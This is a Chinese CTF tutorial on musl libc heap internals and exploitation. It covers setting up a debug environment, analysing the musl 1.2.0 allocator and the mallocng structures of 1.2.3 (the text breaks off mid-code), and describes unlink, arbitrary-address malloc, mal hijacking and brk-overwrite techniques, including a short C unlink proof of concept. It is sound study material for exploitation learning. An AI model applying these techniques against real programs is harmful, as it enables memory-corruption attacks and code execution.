musl pwn

调试环境搭建

debug musl

debug_musl 可以源码调试。
运行 setup.sh 将源码及相关动态链接库解压到根目录下 musl 文件夹下,用的时候只需要将对应版本的 libc.so 文件复制到目录下,然后利用 patchelf 运行如下命令修改可执行文件所依赖的 ld 为 libc.so 即可进行源码调试。

patchelf --set-interpreter ./libc.so ./pwn

另外该项目中的 build.sh 可以自动下载和编译 musl 到根目录下的 musl 文件夹中,建议在 ubuntu16.04 下编译。

muslheap

还有一个 gdb 插件 muslheap 可以在使用调试版的 libc.so 时打印堆信息。安装命令如下:

git clone https://github.com/xf1les/muslheap.git
echo "source /path/to/muslheap.py" >> ~/.gdbinit

muslheap 插件支持如下命令:

  • mchunkinfo: Examine a mallocng-allocated memory (slot)
  • mfindslot: Find out the slot where the given memory is inside
  • mheapinfo: Display mallocng allocator internal information
  • mmagic: Display the location of important functions and sensitive variables in musl libc

源码阅读环境搭建

在阅读 musl 代码时可以借助 clion 进行代码分析,不过要想让 clion 正确分析 musl 代码需要进行如下配置:

首先最好将 musl 的源码解压到另一个目录下而不是复用前面调试环境用的源码,因为如果在阅读代码时改变了源码的格式会造成调试的时候代码对应错误。

在用 clion 打开 musl 源码后首先在 Mskefile 设置中配置如下命令,注意一定要点命令窗口左上角的箭头将窗口展开后再粘贴,否则格式会出现错误。
在这里插入图片描述

#!/bin/sh
#
# GNU Autotools template, feel free to customize.
#
which autoreconf >/dev/null && autoreconf --install --force --verbose "${PROJECT_DIR:-..}" 2>&1; /bin/sh "${PROJECT_DIR:-..}/configure"

在构建窗口右键点击重新加载 Makefile 项目。
在这里插入图片描述
中间弹出的窗口不选择清理项目即可。
在这里插入图片描述
此时 clion 虽然可以分析代码,但是分析的不完全,比如下图中的类型就找不到。
在这里插入图片描述
将代码编译一下后就可以正常识别。
在这里插入图片描述
此时 clion 已经可以正常分析代码,比如结构体中成员的大小和偏移都可以分析出来。
在这里插入图片描述

musl heap (musl-1.2.0)

musl libc在内存分配上经历过一次大的改动(1.2.0->1.2.1),其余版本之间变化不大,这里以 1.2.0 版本为例进行分析。

基本数据结构

在这里插入图片描述

mal

static struct {
    volatile uint64_t binmap;
    struct bin bins[64];
    volatile int free_lock[2];
} mal;

mal 结构体类似于 glibc 中的 arena ,记录着堆的状态,有三个成员:64位无符号整数 binmap ,链表头部数组 bins 和锁 free_lock

  • binmap记录每个 bin 是否为非空,若某个比特位为 1,表示对应的 bin 为非空,即 bin 链表中有 chunk。
  • bins[64] 为 64 个 chunk 的链表头,分别维护 64 个存放空闲 chunk 的双向链表。每个下标对应的链表存放 chunk 的大小范围如下。
    indexmin sizemax size (+0x1F)
    00x200x20
    10x400x40
    20x600x60
    30x800x80
    40xa00xa0
    50xc00xc0
    60xe00xe0
    70x1000x100
    80x1200x120
    90x1400x140
    100x1600x160
    110x1800x180
    120x1a00x1a0
    130x1c00x1c0
    140x1e00x1e0
    150x2000x200
    160x2200x220
    170x2400x240
    180x2600x260
    190x2800x280
    200x2a00x2a0
    210x2c00x2c0
    220x2e00x2e0
    230x3000x300
    240x3200x320
    250x3400x340
    260x3600x360
    270x3800x380
    280x3a00x3a0
    290x3c00x3c0
    300x3e00x3e0
    310x4000x400
    320x4200x420
    330x4400x520
    340x5400x620
    350x6400x720
    360x7400x820
    370x8400xa20
    380xa400xc20
    390xc400xe20
    400xe400x1020
    410x10400x1420
    420x14400x1820
    430x18400x1c20
    440x1c400x2020
    450x20400x2820
    460x28400x3020
    470x30400x3820
    480x38400x4020
    490x40400x5020
    500x50400x6020
    510x60400x7020
    520x70400x8020
    530x80400xa020
    540xa0400xc020
    550xc0400xe020
    560xe0400x10020
    570x100400x14020
    580x140400x18020
    590x180400x1c020
    600x1c0400x20020
    610x200400x28020
    620x280400x30020
    630x300400x38000

bin

struct bin {
	volatile int lock[2];
	struct chunk *head;
	struct chunk *tail;
};

存放空闲 chunk 的双向链表,存放 chunktail 端放,取 chunkhead 端取。
bin 中的 headtail 初始为 0 ,但是在使用 bin 时一般会先调用 lock_bin ,此时如果 bin 为空会将 headtail 设为 &bin[i] - 0x10

static inline void lock_bin(int i) {
    lock(mal.bins[i].lock);
    if (!mal.bins[i].head)
        mal.bins[i].head = mal.bins[i].tail = BIN_TO_CHUNK(i);
}

chunk

struct chunk {
	size_t psize, csize;
	struct chunk *next, *prev;
};

chunk 头部结构跟 glibc 差不多,不过没有 nextsize 指针,chunk 之间不重用 psize 字段。
psizecsize 字段都有标志位(glibc 只有 size 字段有),但只有一种位于最低位的标志位 C_INUSE(glibc 最低三位都有标志位)。若 csize 设置 C_INUSE 标志位(最低位为 1 ),表示 chunk 正在被使用;若没有设置 C_INUSE 标志位(最低位为 0 ),表示 chunk 已经被释放或者通过 mmap 分配的,需要通过 psize 的标志位来进一步判断 chunk 的状态。若 psize 设置 C_INUSE 标志位表示前一个 chunk 正在被使用。
另外,chunk 的大小关于 0x20 对齐。

宏定义

chunk 的相关宏定义如下:

#define SIZE_ALIGN (4*sizeof(size_t))
#define SIZE_MASK (-SIZE_ALIGN)
#define OVERHEAD (2*sizeof(size_t))
#define MMAP_THRESHOLD (0x1c00*SIZE_ALIGN)
#define DONTCARE 16
#define RECLAIM 163840

#define CHUNK_SIZE(c) ((c)->csize & -2)
#define CHUNK_PSIZE(c) ((c)->psize & -2)
#define PREV_CHUNK(c) ((struct chunk *)((char *)(c) - CHUNK_PSIZE(c)))
#define NEXT_CHUNK(c) ((struct chunk *)((char *)(c) + CHUNK_SIZE(c)))
#define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD)
#define CHUNK_TO_MEM(c) (void *)((char *)(c) + OVERHEAD)
#define BIN_TO_CHUNK(i) (MEM_TO_CHUNK(&mal.bins[i].head))

#define C_INUSE  ((size_t)1)

#define IS_MMAPPED(c) !((c)->csize & (C_INUSE))
unbin

chunkbins 中取出,并更新 binmap

static void unbin(struct chunk *c, int i) {
    if (c->prev == c->next)
        a_and_64(&mal.binmap, ~(1ULL << i));
    c->prev->next = c->next;
    c->next->prev = c->prev;
    c->csize |= C_INUSE;
    NEXT_CHUNK(c)->psize |= C_INUSE;
}

当满足 c->prev != c->next 时可以不将 mal.binmap 清空。

alloc_fwd & alloc_rev
static int alloc_fwd(struct chunk *c) {
    int i;
    size_t k;
    while (!((k = c->csize) & C_INUSE)) {
        i = bin_index(k);
        lock_bin(i);
        if (c->csize == k) {
            unbin(c, i);
            unlock_bin(i);
            return 1;
        }
        unlock_bin(i);
    }
    return 0;
}

static int alloc_rev(struct chunk *c) {
    int i;
    size_t k;
    while (!((k = c->psize) & C_INUSE)) {
        i = bin_index(k);
        lock_bin(i);
        if (c->psize == k) {
            unbin(PREV_CHUNK(c), i);
            unlock_bin(i);
            return 1;
        }
        unlock_bin(i);
    }
    return 0;
}

alloc_fwd 通过当前 chunkcsize 检查当前 chunk 是否空闲,如果空闲调用 unbin 函数将当前 chunkbins 链表中取出。
alloc_rev 通过当前 chunkpsize 检查当前 chunk 的前一个 chunk 是否空闲,如果空闲调用 unbin 函数将当前 chunk 的前一个 chunkbins 链表中取出。

函数分析

malloc

首先调用 adjust_size 检查申请内存大小是否合理并将申请的内存大小转换为 chunk 大小,具体转换规则为加 0x10 然后关于 0x20 向上对齐。

static int adjust_size(size_t *n) {
    /* Result of pointer difference must fit in ptrdiff_t. */
    if (*n - 1 > PTRDIFF_MAX - SIZE_ALIGN - PAGE_SIZE) {
        if (*n) {
            errno = ENOMEM;
            return -1;
        } else {
            *n = SIZE_ALIGN;
            return 0;
        }
    }
    *n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;
    return 0;
}

    if (adjust_size(&n) < 0) return 0;

如果 chunk 大小超过 MMAP_THRESHOLD(即 0x38000 )则直接 mmap 分配 chunk

    if (n > MMAP_THRESHOLD) {
        size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
        char *base = __mmap(0, len, PROT_READ | PROT_WRITE,
                            MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (base == (void *) -1) return 0;
        c = (void *) (base + SIZE_ALIGN - OVERHEAD);
        c->csize = len - (SIZE_ALIGN - OVERHEAD);
        c->psize = SIZE_ALIGN - OVERHEAD;
        return CHUNK_TO_MEM(c);
    }

mmap 得到的 chunk 结构如下,注意该 chunkpsizecsizeC_INUSE 标志位均没有置位且没有下一个 chunk
在这里插入图片描述
如果大小不超过 MMAP_THRESHOLD 则先通过 bin_index_up 函数计算 chunk 大小对应的 bin 数组下标 i 。然后通过 mal.binmap 获取下标大于等于 i 的非空 bin 。接下来是两种情况,如果没有则调用 expand_heap 函数扩展堆然后调用 alloc_rev 将新扩展的堆块和前面空闲的堆块合并然后跳出循环,否则调用 first_set 函数获取大于等于 i 的最小下标,然后利用 pretrimunbinchunkbin 链表中取出,最终也会跳出循环。这两种情况最终都会调用 trim 函数,这个函数的作用是从 c 上切下一块 chunk 用于内存分配,剩下的释放掉。
在这里插入图片描述

expand_heap

首先将需要扩展的大小 n 加上 SIZE_ALIGN(0x20),之后调用 __expand_heap 扩展堆并返回扩展后的内存的起始地址。

    /* The argument n already accounts for the caller's chunk
     * overhead needs, but if the heap can't be extended in-place,
     * we need room for an extra zero-sized sentinel chunk. */
    n += SIZE_ALIGN;

    lock(heap_lock);

    p = __expand_heap(&n);
    if (!p) {
        unlock(heap_lock);
        return 0;
    }

如果新扩展的内存的起始地址不等于上一段扩展的内存的结束地址说明内存扩展不连续或者是第一次获取内存,需要在新扩展的 chunk 前面设置一个 sentinel chunk

    /* If not just expanding existing space, we need to make a
     * new sentinel chunk below the allocated space. */
    if (p != end) {
        /* Valid/safe because of the prologue increment. */
        n -= SIZE_ALIGN;
        p = (char *) p + SIZE_ALIGN;
        w = MEM_TO_CHUNK(p);
        w->psize = 0 | C_INUSE;
    }

之后设置新扩展的 chunk 和下一个 chunk 的头部信息。

    /* Record new heap end and fill in footer. */
    end = (char *) p + n;
    w = MEM_TO_CHUNK(end);
    w->psize = n | C_INUSE;
    w->csize = 0 | C_INUSE;

    /* Fill in header, which may be new or may be replacing a
     * zero-size sentinel header at the old end-of-heap. */
    w = MEM_TO_CHUNK(p);
    w->csize = n | C_INUSE;

    unlock(heap_lock);

    return w;

这里假设连续调用两次 expand_heap,则内存分布如下。由此可知道前面 n += SIZE_ALIGN; 是为了确保如果是不连续或第一次扩展堆时有可以有空间提供 sentinel chunk 和下一个 chunk 的头部。
在这里插入图片描述

__expand_heap

首先检验扩展的大小 n 是否合理,之后将 n 关于页大小向上对齐。

    if (n > SIZE_MAX / 2 - PAGE_SIZE) {
        errno = ENOMEM;
        return 0;
    }
    n += -n & PAGE_SIZE - 1;

如果 heap 段还没有初始化过则通过 brk(0) 系统调用获取 heap 段基址,并将 brk 关于页面大小向上对齐。

    if (!brk) {
        brk = __syscall(SYS_brk, 0);
        brk += -brk & PAGE_SIZE - 1;
    }

如果满足 brk 调用条件且 brk 调用正常则直接返回得到的内存。

    if (n < SIZE_MAX - brk && !traverses_stack_p(brk, brk + n)
        && __syscall(SYS_brk, brk + n) == brk + n) {
        *pn = n;
        brk += n;
        return (void *) (brk - n);
    }

否则调用 mmap 扩展内存,扩展内存的大小为 max(n, PAGE_SIZE << mmap_step / 2) 同时将 mmap_step 加 1 。

    size_t min = (size_t) PAGE_SIZE << mmap_step / 2;
    if (n < min) n = min;
    void *area = __mmap(0, n, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (area == MAP_FAILED) return 0;
    *pn = n;
    mmap_step++;
    return area;

pretrim

pretrim 函数的作用是如果申请的 chunk 中切下所需的部分剩余部分可以放到该 chunk 所在 bins 中则直接从该 chunk 中切下所需部分返回。如果满足上述条件,这样做可以减少一次 unbinpretrim 从而提高程序效率。

首先这里特判了一些不需要 pretrim 的情况。总的来说就是 chunk 或切完剩下的 chunk 太小的时候不需要 pretrim

    if (j < 40) return 0;
    if (j < i + 3) {
        if (j != 63) return 0;
        n1 = CHUNK_SIZE(self);
        if (n1 - n <= MMAP_THRESHOLD) return 0;
    } else {
        n1 = CHUNK_SIZE(self);
    }

之后判断如果满足 pretrim 的条件就将 self 分裂为 selfsplitspit 放到 bins 中原来 self 所在位置,然后把新的 self 返回。

    if (bin_index(n1 - n) != j) return 0;

    next = NEXT_CHUNK(self);
    split = (void *) ((char *) self + n);

    split->prev = self->prev;
    split->next = self->next;
    split->prev->next = split;
    split->next->prev = split;
    split->psize = n | C_INUSE;
    split->csize = n1 - n;
    next->psize = n1 - n;
    self->csize = n | C_INUSE;
    return 1;

trim

如果从申请的 chunk 切下所需 chunk 后剩余部分还能构成一个 chunk 就切下所需 chunk 并发剩余部分调用 __bin_chunk 函数释放。

static void trim(struct chunk *self, size_t n) {
    size_t n1 = CHUNK_SIZE(self);
    struct chunk *next, *split;

    if (n >= n1 - DONTCARE) return;

    next = NEXT_CHUNK(self);
    split = (void *) ((char *) self + n);

    split->psize = n | C_INUSE;
    split->csize = n1 - n | C_INUSE;
    next->psize = n1 - n | C_INUSE;
    self->csize = n | C_INUSE;

    __bin_chunk(split);
}

free

首先特判传入指针为空的情况。之后判断如果 csizeC_INUSE 位为空则通过 psize 找到 mmap 的起始地址 base 和 mmap 的内存长度 len 。之后如果 extra & 1 则终止程序,如果直接 double free 一块非 mmap 的内存就是这个结果。之后调用 __munmap 释放这块内存。如果不是 mmap 得到的 chunk 则调用 __bin_chunk 释放 chunk

static void unmap_chunk(struct chunk *self) {
    size_t extra = self->psize;
    char *base = (char *) self - extra;
    size_t len = CHUNK_SIZE(self) + extra;
    /* Crash on double free */
    if (extra & 1) a_crash();
    __munmap(base, len);
}

#define IS_MMAPPED(c) !((c)->csize & (C_INUSE))

void free(void *p) {
    if (!p) return;

    struct chunk *self = MEM_TO_CHUNK(p);

    if (IS_MMAPPED(self))
        unmap_chunk(self);
    else
        __bin_chunk(self);
}

__bin_chunk

获取 chunk 的大小并初始化 final_sizenew_size

    final_size = new_size = CHUNK_SIZE(self); 

检测 next->psizeself->csize 是否相等。

    struct chunk *next = NEXT_CHUNK(self);
    ...
    /* Crash on corrupted footer (likely from buffer overflow) */
    if (next->psize != self->csize) a_crash();

将该 chunk 与前后的空闲 chunk 合并直至满足 self->psize & next->csize & C_INUSE 条件,即该 chunk 前后都没有空闲 chunk
期间如果满足 new_size + size > RECLAIM && (new_size + size ^ size) > size (其中 RECLAIM 为 0x28000)则 reclaim 置 1 ,之后会对释放的 chunk 包含的所有完整物理页调用 madvise 设置 lazyfree 标志,这样在内存紧缺的时候会回收这些物理页。

    for (;;) {
        if (self->psize & next->csize & C_INUSE) {
            self->csize = final_size | C_INUSE;
            next->psize = final_size | C_INUSE;
            i = bin_index(final_size);
            lock_bin(i);
            lock(mal.free_lock);
            if (self->psize & next->csize & C_INUSE)
                break;
            unlock(mal.free_lock);
            unlock_bin(i);
        }

        if (alloc_rev(self)) {
            self = PREV_CHUNK(self);
            size = CHUNK_SIZE(self);
            final_size += size;
            if (new_size + size > RECLAIM && (new_size + size ^ size) > size)
                reclaim = 1;
        }

        if (alloc_fwd(next)) {
            size = CHUNK_SIZE(next);
            final_size += size;
            if (new_size + size > RECLAIM && (new_size + size ^ size) > size)
                reclaim = 1;
            next = NEXT_CHUNK(next);
        }
    }

之后更新 binmap 以及 chunk 头部各个字段,然后将 chunk 从对应 binstail 加入到链表中。最后对于 reclaim 为 1 的情况做相应的处理。

    if (!(mal.binmap & 1ULL << i))
        a_or_64(&mal.binmap, 1ULL << i);

    self->csize = final_size;
    next->psize = final_size;
    unlock(mal.free_lock);

    self->next = BIN_TO_CHUNK(i);
    self->prev = mal.bins[i].tail;
    self->next->prev = self;
    self->prev->next = self;

    /* Replace middle of large chunks with fresh zero pages */
    if (reclaim) {
        uintptr_t a = (uintptr_t) self + SIZE_ALIGN + PAGE_SIZE - 1 & -PAGE_SIZE;
        uintptr_t b = (uintptr_t) next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
        __madvise((void *) a, b - a, MADV_DONTNEED);
#else
        __mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
    }

    unlock_bin(i);

堆利用

unlink

musl 采用 unbin 函数从 bins 中取出 chunk ,对应 glibc 中的 unlink ,但是 unbin 中检查不足没有检查链表完整性,可以进行利用实现任意地址写。如果泄露了堆地址还可以写 rop 链进行 ROP 。

static void unbin(struct chunk *c, int i) {
    if (c->prev == c->next)
        a_and_64(&mal.binmap, ~(1ULL << i));
    c->prev->next = c->next;
    c->next->prev = c->prev;
    c->csize |= C_INUSE;
    NEXT_CHUNK(c)->psize |= C_INUSE;
}

在这里插入图片描述

unlink 的作用是可以在两位置写入可读写地址,很多攻击手法都是建立在 unlink 的基础上的。
poc 如下:

#include <stdlib.h>
#include <assert.h>

#define OVERHEAD (2*sizeof(size_t))
#define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD)
#define CHUNK_TO_MEM(c) (void *)((char *)(c) + OVERHEAD)
#define C_INUSE  ((size_t)1)

struct chunk {
    size_t psize, csize;
    struct chunk *next, *prev;
};
struct chunk target;

int main() {
    struct chunk *fake_chunk = malloc(0x30) + 0x10;
    struct chunk *next_chunk = MEM_TO_CHUNK(malloc(0x30));
    fake_chunk->psize |= C_INUSE;
    fake_chunk->prev = &target;
    fake_chunk->next = &target;
    next_chunk->psize = 0x20;
    free(CHUNK_TO_MEM(next_chunk));
    assert(target.prev == target.next && target.prev == &target);
    return 0;
}

这个 poc 是通过 chunk 合并来触发的 unlink ,因此需要满足以下条件:

  • 为了 free 函数能够调用 __bin_chunk 需要 next_chunkcsizeC_INUSE 位置 1 。
  • 为了绕过 if (next->psize != self->csize) a_crash(); 检测需要伪造 next_chunkcsizenext_chunk 的下一个 chunkpsize
  • 为了使 alloc_rev 调用 unbin 函数将 fake_chunk 解链,满足 next_chunk->psizeC_INUSE 位不置位。

任意地址 malloc

以这道题目为例。

musl heap 在 malloc 时没有检查,因此只要修改释放的 chunknext 指针就可以实现任意地址 malloc 。但是有 3 个地方需要注意。

  • unbin 中判断 bin 为空的条件是

        if (c->prev == c->next)
            a_and_64(&mal.binmap, ~(1ULL << i));
    

    为了确保下一次能申请出 chunk 来,需要确保本次申请的 chunkprevnext 不同。

  • 由于 unbin 中的解链操作,需要 bins 头指向的 chunkprevnext 可写。

        c->prev->next = c->next;
        c->next->prev = c->prev;
    
  • 由于 unbin 在完成解链后会修改下一个 chunkpsizeC_INUSE 位,因此需要 NEXT_CHUNK(c)->psize 可写,通常需要在目标地址往前找一个偏移使得 fake chunkcsize 为一个较小的数。

        NEXT_CHUNK(c)->psize |= C_INUSE;
    

因此有如下攻击流程:

  • 首先利用一次 unlink 将 fake chunknext 写入可读写地址。依据题目中的具体情况,这里采用 UAF 修改 prevnext 的方式来实现 unlink 。另外由于 unlink 和 后续攻击用到的 chunk 大小相同,因此这里将 prevnext 分别修改为 &fake_chunk - 8&fake_chunk 来避免之后不能从 bin 中申请 chunk
    在这里插入图片描述

  • 之后再次通过 UAF 修改 next 指针指向 fake chunk
    在这里插入图片描述

劫持 mal 实现连续任意地址 malloc

以这道题目为例。

对于同一大小的 chunk 来说,前面任意地址 malloc 的方法只能进行一次,因为经过一次任意地址 malloc 之后 malbinhead 指针已经不可控,因此不能再次任意地址 malloc

但是如果劫持 mal 结构体的话就可以连续任意地址 malloc,不过任意地址 malloc 的前提是 fake chunkcsizenextprev 必须满足前面任意地址 malloc 的条件。由于劫持了 mal 结构体之后不容易 unlink ,因此需要在劫持 mal 结构体之前在需要 malloc 的地址通过 unlink 位置 fake chunknextprev 。另外需要选择目标地址往前一点的偏移使得 csize 合法,之后不停的任意地址 malloc 利用前面的 fake chunk 伪造后面 fake chunk 的头直到把目标地址申请出来。

另外由于部分 chunk 是在程序上的,因此可以通过部分地址覆盖 mal 上的这些程序地址从而绕过 PIE 将 chunk 申请到程序的某些结构上。例如这道题目

劫持 brk 控制 malloc 返回值

还是以这道题为例

bins 中没有 chunk 可供分配(即 binmap 为 0 时)会调用 __expand_heap 函数申请一块新的堆空间用于构造 chunk 。因此可以通过任意地址写修改 __expand_heapbrk 然后劫持 mal 设置 binmap 为 0 来实现对 malloc 返回值的控制。

获取 brklibc.so 中偏移的方法如下:
在这里插入图片描述

musl heap (musl-1.2.3)

基本数据结构

meta.h 文件夹中定义了 musl 内存管理相关的结构。
在这里插入图片描述

deque

musl 内存管理时经常使用双向链表来缓存一些 meta 的结构,我们暂且称它为 deque 。
在这里插入图片描述

对应的操作有 queuedequeuedequeue_head 三个操作。

queue

queue 函数的作用是将 *m 插入到 *phead 指向的 deque 中。

static inline void queue(struct meta **phead, struct meta *m) {
    assert(!m->next);
    assert(!m->prev);
    if (*phead) {
        struct meta *head = *phead;
        m->next = head;
        m->prev = head->prev;
        m->next->prev = m->prev->next = m;
    } else {
        m->prev = m->next = m;
        *phead = m;
    }
}
dequeue

dequeue 函数的作用是将 *m*phead 指向的 deque 中取出。

static inline void dequeue(struct meta **phead, struct meta *m) {
    if (m->next != m) {
        m->prev->next = m->next;
        m->next->prev = m->prev;
        if (*phead == m) *phead = m->next;
    } else {
        *phead = 0;
    }
    m->prev = m->next = 0;
}
dequeue_head

dequeue_head 函数的作用是将 *phead 指向的 meta 结构从 *phead 指向的 deque 中取出。

static inline struct meta *dequeue_head(struct meta **phead) {
    struct meta *m = *phead;
    if (m) dequeue(phead, m);
    return m;
}

malloc_context

#define PAGESIZE 4096

struct malloc_context {
    uint64_t secret;
#ifndef PAGESIZE
    size_t pagesize;
#endif
    int init_done;
    unsigned mmap_counter;
    struct meta *free_meta_head;
    struct meta *avail_meta;
    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
    struct meta_area *meta_area_head, *meta_area_tail;
    unsigned char *avail_meta_areas;
    struct meta *active[48];
    size_t usage_by_class[48];
    uint8_t unmap_seq[32], bounces[32];
    uint8_t seq;
    uintptr_t brk;
};

这个结构体是musl libc的堆管理最上层结构,其中字段的含义分别为:

  • uint64_t secret:一个随机生成的数,用于检查meta的合法性,也即一个 check guard 。

  • int init_done:判断 malloc_context 是否初始化完成,在 alloc_meta 函数中进行检查,如果没有则进行初始化,否则跳过初始化流程,这里的初始化指的是初始化 secret

  • unsigned mmap_counter:mmap 计数器,通过 mmap 分配了多少次空间用于内存分配。

  • struct meta *free_meta_head:被释放的 meta 结构体构成的双向链表表头,meta 结构体是 musl libc 内存分配的低一级结构。

  • struct meta *avail_meta:指向空闲的 meta 。

  • size_t avail_meta_count:musl 保留但未使用的 meta 的数量。

  • avail_meta_area_count:musl 保留但未使用的 meta_area 的数量。

  • meta_alloc_shift:当没有空闲 meta_area 且 brk 不能为 meta_arena 申请连续内存时需要采用 mmap 的方式申请 meta_arenameta_alloc_shift 用于计算了此时需要扩展的内存大小,这个值是动态调节的。

  • struct meta_area *meta_area_head, *meta_area_tail:存放 meta_area 的单向链表,只作记录,没什么实际作用。

  • unsigned char *avail_meta_areas:musl 保留但未使用的 meta_area 的起始地址,具体见后面对 alloc_meta 函数的分析。

  • struct meta *active[48]:可以直接参与内存分配的 meta,按照 meta 管理的内存中 chunk 的大小划分为 48 组,每个组由 meta 形成一个 deque 。
    48 个组中 chunk 大小以及 malloc 的 size 大小对应关系如下:

    scchunk sizemin sizemax size
    00x100x00xc
    10x200xd0x1c
    20x300x1d0x2c
    30x400x2d0x3c
    40x500x3d0x4c
    50x600x4d0x5c
    60x700x5d0x6c
    70x800x6d0x7c
    80x900x7d0x8c
    90xa00x8d0x9c
    100xc00x9d0xbc
    110xf00xbd0xec
    120x1200xed0x11c
    130x1400x11d0x13c
    140x1900x13d0x18c
    150x1f00x18d0x1ec
    160x2400x1ed0x23c
    170x2a00x23d0x29c
    180x3200x29d0x31c
    190x3f00x31d0x3ec
    200x4800x3ed0x47c
    210x5400x47d0x53c
    220x6600x53d0x65c
    230x7f00x65d0x7ec
    240x9200x7ed0x91c
    250xaa00x91d0xa9c
    260xcc00xa9d0xcbc
    270xff00xcbd0xfec
    280x12400xfed0x123c
    290x15400x123d0x153c
    300x19900x153d0x198c
    310x1ff00x198d0x1fec
    320x24800x1fed0x247c
    330x2aa00x247d0x2a9c
    340x33200x2a9d0x331c
    350x3ff00x331d0x3fec
    360x49100x3fed0x490c
    370x55400x490d0x553c
    380x66500x553d0x664c
    390x7ff00x664d0x7fec
    400x92400x7fed0x923c
    410xaaa00x923d0xaa9c
    420xccc00xaa9d0xccbc
    430xfff00xccbd0xffec
    440x124800xffed0x1247c
    450x155400x1247d0x1553c
    460x199800x1553d0x1997c
    470x1fff00x1997d0x1ffec
  • size_t usage_by_class[48]:对应大小的缓存的所有 metagroup 所管理的 chunk 个数。

  • uint8_t unmap_seq[32], bounces[32]:参与 alloc_group 中计算新分配 group 的大小。

  • uint8_t seq:参与 alloc_group 中计算新分配 group 的大小。

  • uintptr_t brk:记录目前的 brk(0) ,如果 brk 不能分配连续内存则该值设为 -1 。

malloc_context 被实例化为全局变量 ctx

#define ctx __malloc_context

__attribute__((__visibility__("hidden"))) extern struct malloc_context ctx;

meta_area

struct meta_area {
    uint64_t check;
    struct meta_area *next;
    int nslots;
    struct meta slots[];
};

这个结构用于管理一页内的所有 meta 结构,属于 malloc_context 的下级结构,meta 的上级结构。

  • uint64_t check:检查字段,与 malloc_context 中的 secret 字段对应,检查该 meta_area 是否可能被修改
  • struct meta_area *next:下一个meta_area的地址,与前面 malloc_contextstruct meta_area *meta_area_head, *meta_area_tail 一起构成单向链表,存放空闲的 meta_area ,正常使用中的 meta_area 该字段为 0 。
  • int nslots:该 meta_area 中管理的 meta 数量,一般为固定值。
  • struct meta slots[]:管理的 meta 数组

meta

struct meta {
    struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx : 5;
    uintptr_t freeable : 1;
    uintptr_t sizeclass : 6;
    uintptr_t maplen : 8 * sizeof(uintptr_t) - 12;
};

meta 中保存有 group 结构体指针,后者直接保存有需要分配的内存块。

  • struct meta *prev, *next:构成双向链表,即前面的 deque 。
  • struct group *memmeta 管理的 group 结构体指针
  • volatile int avail_mask, freed_mask:表示 meta 管理的 group 结构体中每个 chunk 的状态,即是否可被分配和是否已被释放(实际可能没有经过释放的 chunk 也可能 对应 freed_mask 置位,因此叫做未激活更合适)。在 musl heap 中,chunk 有 可分配,释放和在使用三个状态,且每个 chunk 只能处在三个状态中的一种上。并且释放的 chunk 不能立即参与分配,只有参与分配的 chunk 不够时才会通过 try_avail 将处于释放状态的 chunk 转换为处于可分配状态。
  • uintptr_t last_idx:5:该 meta 中最后一个 chunk 的索引,也就是该 meta 管理 last_idx + 1 个 chunk 。
  • freeable:1:该 meta 中的 chunk 是否能够被释放,这个值一般都是 1 。
  • uintptr_t sizeclass:6:管理的 group 的 chunk 大小属于哪一组。是 mmap 分配,则固定为 63 。
  • uintptr_t maplen:8*sizeof(uintptr_t)-12:如果管理的 group 是 mmap分配的,则为内存页数,否则为 0 。

以位于 heap 段的 meta_area 为例,内存分布如下图所示,因此 meta 可以通过找所在内存页基址查找到对应的 meta_area
在这里插入图片描述
meta 相关的函数这里先介绍 free_metaalloc_meta

get_stride

根据 meta 获取其管理的 group 中 chunk 的大小。

static inline size_t get_stride(const struct meta *g) {
    if (!g->last_idx && g->maplen) {
        return g->maplen * 4096UL - UNIT;
    } else {
        return UNIT * size_classes[g->sizeclass];
    }
}
free_meta

释放 meta 实际上就是将 meta 清零后放入 free_meta_head 指向的 deque 中。

static inline void free_meta(struct meta *m) {
    *m = (struct meta){0};
    queue(&ctx.free_meta_head, m);
}
alloc_meta

首先判断 ctx 是否初始化,没有初始化则初始化 secret

    if (!ctx.init_done) {
#ifndef PAGESIZE
        ctx.pagesize = get_page_size();
#endif
        ctx.secret = get_random_secret();
        ctx.init_done = 1;
    }

之后初始化 pagesize

#define PAGESIZE 4096

#ifdef PAGESIZE
#define PGSZ PAGESIZE
#else
#define PGSZ ctx.pagesize
#endif

    size_t pagesize = PGSZ;
    if (pagesize < 4096) pagesize = 4096;

如果 free_meta_head 不为空则从中取出之前释放的 meta 并返回。

if ((m = dequeue_head(&ctx.free_meta_head))) return m;

如果 avail_meta_count 为 0 则获取空闲的 meta ,之后从空闲的 meta 中取出一个返回。

    if (!ctx.avail_meta_count) {...}
    ctx.avail_meta_count--;
    m = ctx.avail_meta++;
    m->prev = m->next = 0;
    return m;

下面介绍如何获取空闲的 meta
首先先解释一下用到的两个标志 need_unprotectneed_guard 的含义。

  • need_unprotect 指的是有一块内存,需要用来作为 meta_area 但现在它没有读写权限,因此需要调用 mprotect 给这块内存赋上读写权限。
  • need_guard 指的是有一块有读写权限的内存,现在从这个内存中某个位置起划定为 meta_area ,但是为了确保 meta_areacheck 字段不被溢出覆盖,需要将 meta_area 前的内存去掉读写权限。

这里首先将 need_unprotect 置 1 。

        int need_unprotect = 1;

之后讨论没有空闲的 meta_area 且 brk 可以分配连续内存的情况:

        if (!ctx.avail_meta_area_count && ctx.brk != -1) {
            uintptr_t new = ctx.brk + pagesize;
            int need_guard = 0;
            if (!ctx.brk) {
                need_guard = 1;
                ctx.brk = brk(0);
                // some ancient kernels returned _ebss
                // instead of next page as initial brk.
                ctx.brk += -ctx.brk & (pagesize - 1);
                new = ctx.brk + 2 * pagesize;
            }
            if (brk(new) != new) {
                ctx.brk = -1;
            } else {
                if (need_guard) mmap((void *) ctx.brk, pagesize, PROT_NONE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
                ctx.brk = new;
                ctx.avail_meta_areas = (void *) (new - pagesize);
                ctx.avail_meta_area_count = pagesize >> 12;
